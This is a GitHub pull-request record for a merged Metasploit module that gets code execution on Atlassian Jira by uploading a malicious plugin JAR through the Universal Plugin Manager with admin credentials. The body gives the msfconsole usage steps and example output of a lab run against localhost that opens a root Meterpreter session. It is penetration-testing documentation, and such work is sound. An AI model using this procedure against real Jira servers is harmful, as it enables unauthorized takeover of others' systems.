{"action":"closed","number":9631,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631","id":171469093,"node_id":"MDExOlB1bGxSZXF1ZXN0MTcxNDY5MDkz","html_url":"https://github.com/rapid7/metasploit-framework/pull/9631","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9631.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9631.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631","number":9631,"state":"closed","locked":false,"title":"Add Jira Plugin Upload Module","user":{"login":"dubfr33","id":20056018,"node_id":"MDQ6VXNlcjIwMDU2MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/20056018?v=4","gravatar_id":"","url":"https://api.github.com/users/dubfr33","html_url":"https://github.com/dubfr33","followers_url":"https://api.github.com/users/dubfr33/followers","following_url":"https://api.github.com/users/dubfr33/following{/other_user}","gists_url":"https://api.github.com/users/dubfr33/gists{/gist_id}","starred_url":"https://api.github.com/users/dubfr33/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dubfr33/subscriptions","organizations_url":"https://api.github.com/users/dubfr33/orgs","repos_url":"https://api.github.com/users/dubfr33/repos","events_url":"https://api.github.com/users/dubfr33/events{/privacy}","received_events_url":"https://api.github.com/users/dubfr33/received_events","type":"User","site_admin":false},"body":"Add Jira Plugin Upload Module\r\n\r\nThe module executes a payload on Atlassian Jira via the Universal Plugin Manager(UPM). Any\r\nuser that has successfully authenticated to Jira and has access to the UPM (typically the admin account) can upload a Java servlet in the form of a JAR archive to achieve code execution. \r\n\r\n## Test Environment Setup\r\n\r\n- First, build the Atlassian SDK environment. Instructions can be found below:\r\n\r\n    - Windows:\r\n    https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/\r\n    - Linux/Mac:\r\nhttps://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/\r\n\r\n- Next, create a shell Jira plugin and launch the SDK. Instructions can be found below:\r\n    - https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/\r\n\r\nOnce these steps are completed you should be able to browse to localhost:2990/jira/ to confirm successful deployment. The default credentials are admin:admin.\r\n\r\n## Verification\r\n\r\n- [ ] Install Atlassian SDK/Jira environment\r\n- [ ] Browse to localhost:2990/jira/ to confirm successful deployment\r\n- [ ] msfconsole -q\r\n- [ ] use exploit/multi/http/jira_plugin_upload\r\n- [ ] set rhost 127.0.0.1\r\n- [ ] show options\r\n- [ ] check\r\n- [ ] exploit\r\n\r\n## Example Output\r\n```\r\nmsf > use exploit/multi/http/jira_plugin_upload\r\nmsf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1\r\nrhost => 127.0.0.1\r\nmsf exploit(multi/http/jira_plugin_upload) > show options\r\n\r\nModule options (exploit/multi/http/jira_plugin_upload):\r\n\r\n   Name          Current Setting  Required  Description\r\n   ----          ---------------  --------  -----------\r\n   HttpPassword  admin            yes       The password for the specified username\r\n   HttpUsername  admin            yes       The username to authenticate as\r\n   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOST         127.0.0.1        yes       The target address\r\n   RPORT         2990             yes       The target port (TCP)\r\n   SSL           false            no        Negotiate SSL/TLS for outgoing connections\r\n   TARGETURI     /jira/           yes       The base URI to Jira\r\n   VHOST                          no        HTTP server virtual host\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Java Universal\r\n\r\n\r\nmsf exploit(multi/http/jira_plugin_upload) > check\r\n\r\n[*] Server accepted the credentials, user has access to plugin manager!\r\n[*] 127.0.0.1:2990 The target appears to be vulnerable.\r\nmsf exploit(multi/http/jira_plugin_upload) > exploit\r\n\r\n[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?\r\n[*] Started reverse TCP handler on 127.0.0.1:4444 \r\n[*] Retrieving Session ID and XSRF token...\r\n[*] Attempting to upload lNZinVWN\r\n[*] Successfully uploaded lNZinVWN\r\n[*] Executing lNZinVWN\r\n[*] Deleting lNZinVWN\r\n[*] Sending stage (53837 bytes) to 127.0.0.1\r\n[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49040) at 2018-02-26 14:40:38 -0500\r\n\r\nmeterpreter > getuid\r\nServer username: root\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit\r\n[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died\r\nmsf exploit(multi/http/jira_plugin_upload) > \r\n```\r\n\r\n","created_at":"2018-02-26T19:29:43Z","updated_at":"2018-11-13T21:35:13Z","closed_at":"2018-11-13T21:35:13Z","merged_at":"2018-11-13T21:35:13Z","merge_commit_sha":"da134f06e39455114043bc76fa76d8116f758588","assignee":{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436215,"node_id":"MDU6TGFiZWwxMDM0MzYyMTU=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/da134f06e39455114043bc76fa76d8116f758588","head":{"label":"dubfr33:jira_upload","ref":"jira_upload","sha":"da134f06e39455114043bc76fa76d8116f758588","user":{"login":"dubfr33","id":20056018,"node_id":"MDQ6VXNlcjIwMDU2MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/20056018?v=4","gravatar_id":"","url":"https://api.github.com/users/dubfr33","html_url":"https://github.com/dubfr33","followers_url":"https://api.github.com/users/dubfr33/followers","following_url":"https://api.github.com/users/dubfr33/following{/other_user}","gists_url":"https://api.github.com/users/dubfr33/gists{/gist_id}","starred_url":"https://api.github.com/users/dubfr33/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dubfr33/subscriptions","organizations_url":"https://api.github.com/users/dubfr33/orgs","repos_url":"https://api.github.com/users/dubfr33/repos","events_url":"https://api.github.com/users/dubfr33/events{/privacy}","received_events_url":"https://api.github.com/users/dubfr33/received_events","type":"User","site_admin":false},"repo":{"id":122497404,"node_id":"MDEwOlJlcG9zaXRvcnkxMjI0OTc0MDQ=","name":"metasploit-framework","full_name":"dubfr33/metasploit-framework","private":false,"owner":{"login":"dubfr33","id":20056018,"node_id":"MDQ6VXNlcjIwMDU2MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/20056018?v=4","gravatar_id":"","url":"https://api.github.com/users/dubfr33","html_url":"https://github.com/dubfr33","followers_url":"https://api.github.com/users/dubfr33/followers","following_url":"https://api.github.com/users/dubfr33/following{/other_user}","gists_url":"https://api.github.com/users/dubfr33/gists{/gist_id}","starred_url":"https://api.github.com/users/dubfr33/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dubfr33/subscriptions","organizations_url":"https://api.github.com/users/dubfr33/orgs","repos_url":"https://api.github.com/users/dubfr33/repos","events_url":"https://api.github.com/users/dubfr33/events{/privacy}","received_events_url":"https://api.github.com/users/dubfr33/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dubfr33/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/dubfr33/metasploit-framework","forks_url":"https://api.github.com/repos/dubfr33/metasploit-framework/forks","keys_url":"https://api.github.com/repos/dubfr33/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dubfr33/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dubfr33/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/dubfr33/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/dubfr33/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/dubfr33/metasploit-framework/events","assignees_url":"https://api.github.com/repos/dubfr33/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/dubfr33/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/dubfr33/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/dubfr33/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dubfr33/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dubfr33/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/dubfr33/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dubfr33/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/dubfr33/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/dubfr33/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/dubfr33/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/dubfr33/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/dubfr33/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/dubfr33/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/dubfr33/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/dubfr33/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/dubfr33/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/dubfr33/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/dubfr33/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dubfr33/metasploit-framework/merges","archive_url":"https://api.github.com/repos/dubfr33/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dubfr33/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/dubfr33/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/dubfr33/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/dubfr33/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/dubfr33/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dubfr33/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/dubfr33/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/dubfr33/metasploit-framework/deployments","created_at":"2018-02-22T15:29:39Z","updated_at":"2018-10-11T14:00:09Z","pushed_at":"2018-11-13T21:01:41Z","git_url":"git://github.com/dubfr33/metasploit-framework.git","ssh_url":"git@github.com:dubfr33/metasploit-framework.git","clone_url":"https://github.com/dubfr33/metasploit-framework.git","svn_url":"https://github.com/dubfr33/metasploit-framework","homepage":"https://www.metasploit.com/","size":331508,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"95a019675f23844fce4dbd354bb072315e1aefc2","user":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"node_id":"MDEwOlJlcG9zaXRvcnkyMjkzMTU4","name":"metasploit-framework","full_name":"rapid7/metasploit-framework","private":false,"owner":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-11-13T21:09:36Z","pushed_at":"2018-11-13T21:35:03Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":370167,"stargazers_count":14090,"watchers_count":14090,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":7369,"mirror_url":null,"archived":false,"open_issues_count":626,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":7369,"open_issues":626,"watchers":14090,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9631"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9631/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9631/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/da134f06e39455114043bc76fa76d8116f758588"}},"author_association":"NONE","merged":true,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false},"comments":15,"review_comments":32,"maintainer_can_modify":false,"commits":12,"additions":295,"deletions":0,"changed_files":2}}
{"actor":{"display_login":"space-r7"}}